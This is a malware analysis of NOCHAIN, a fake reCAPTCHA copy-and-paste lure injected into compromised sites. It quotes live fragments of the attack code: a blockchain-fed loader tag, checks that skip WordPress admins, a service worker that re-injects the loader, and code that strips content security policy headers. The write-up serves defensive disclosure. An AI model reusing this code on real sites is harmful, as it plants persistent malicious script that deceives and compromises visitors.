NOCHAIN

NOCHAIN is a fake CAPTCHA malicious copy and paste attack tool delivered from compromised websites. It leverages the EtherHiding technique for hosting its lure content and malicious payloads on a public blockchain. NOCHAIN also introduced an interesting browser-based persistence mechanism by registering a service worker that continues to deliver the payload to repeat visitors.

Google's unusual traffic reCAPTCHA lure

Visiting a site that has been compromised with NOCHAIN presents a fake clone of Google Search's "unusual traffic from your computer network" page with a reCAPTCHA checkbox. Upon clicking the checkbox, the payload is put onto the victim's clipboard and instructions for executing it via the Windows run dialog are displayed.

NOCHAIN fake reCAPTCHA

Loader based on EtherHiding

A compromised site has a small bootstrap loader script injected into its HTML. A blockchain contract address is passed into the loader via the data-c attribute:

<script data-c="0x58460d0b3d4d6b03761c89120393c0c676676496">(function(c){ ... })(document.currentScript&&document.currentScript.dataset.c)</script>

The loader script carries out the following steps:

1. Halt if the visitor is a logged in user or browsing WordPress admin pages:

if (window.__ncSkip || document.cookie.indexOf("nc_skip=1") >= 0
  || /wordpress_logged_in_[^=]+=/.test(document.cookie)
  || /\/wp-admin|\/wp-login\.php/i.test(location.pathname + location.search)) return;

2. Covers the page with a blank, full-screen <div>.
3. Loads Ethers.js from a JavaScript CDN.
4. Calls smart contract functions to retrieve malicious JavaScript and HTML for execution and display.

The three smart contract functions defined by NOCHAIN are:

ServiceWorker persistence

A second script is injected into the compromised site that registers a new service worker from a file named nochain-sw.js:

if (navigator.serviceWorker &&
  !/wp-admin|wp-login\.php/i.test(location.pathname) &&
  document.cookie.indexOf("nc_skip=1") < 0 &&
  !/wordpress_logged_in_[^=]+=/.test(document.cookie)
) {
  navigator.serviceWorker.register("https://<compromised-domain>/nochain-sw.js", {
    scope: "/",
    updateViaCache: "all"
  }).catch(function(){});
}

The malicious service worker intercepts network requests made on the compromised site to re-inject the loader scripts if they are no longer present:

var MARK="data-c=\"0x58460d0b3d4d6b03761c89120393c0c676676496\"",
    SNIPPET="<script data-c=\"0x58460d0b3d4d6b03761c89120393c0c676676496\">(function(c){...

// ...

if (html.indexOf(MARK) < 0) {
    html = /<head[^>]*>/i.test(html)
        ? html.replace(/<head[^>]*>/i, function(m){ return m + SNIPPET; })
        : SNIPPET + html;
}

This enables NOCHAIN to continue to display its payloads to repeat visitors even if the malicious code has been cleaned up from the compromised site itself.

To ensure that the injected loader script executes in the visitor's browser, the service worker also manipulates the HTTP response to remove any content security policy headers:

var hd = new Headers(r.headers);
hd.delete("content-length");
hd.delete("content-security-policy");
hd.delete("content-security-policy-report-only");
hd.set("cache-control", "no-store");
return new Response(html, { status: r.status, statusText: r.statusText, headers: hd });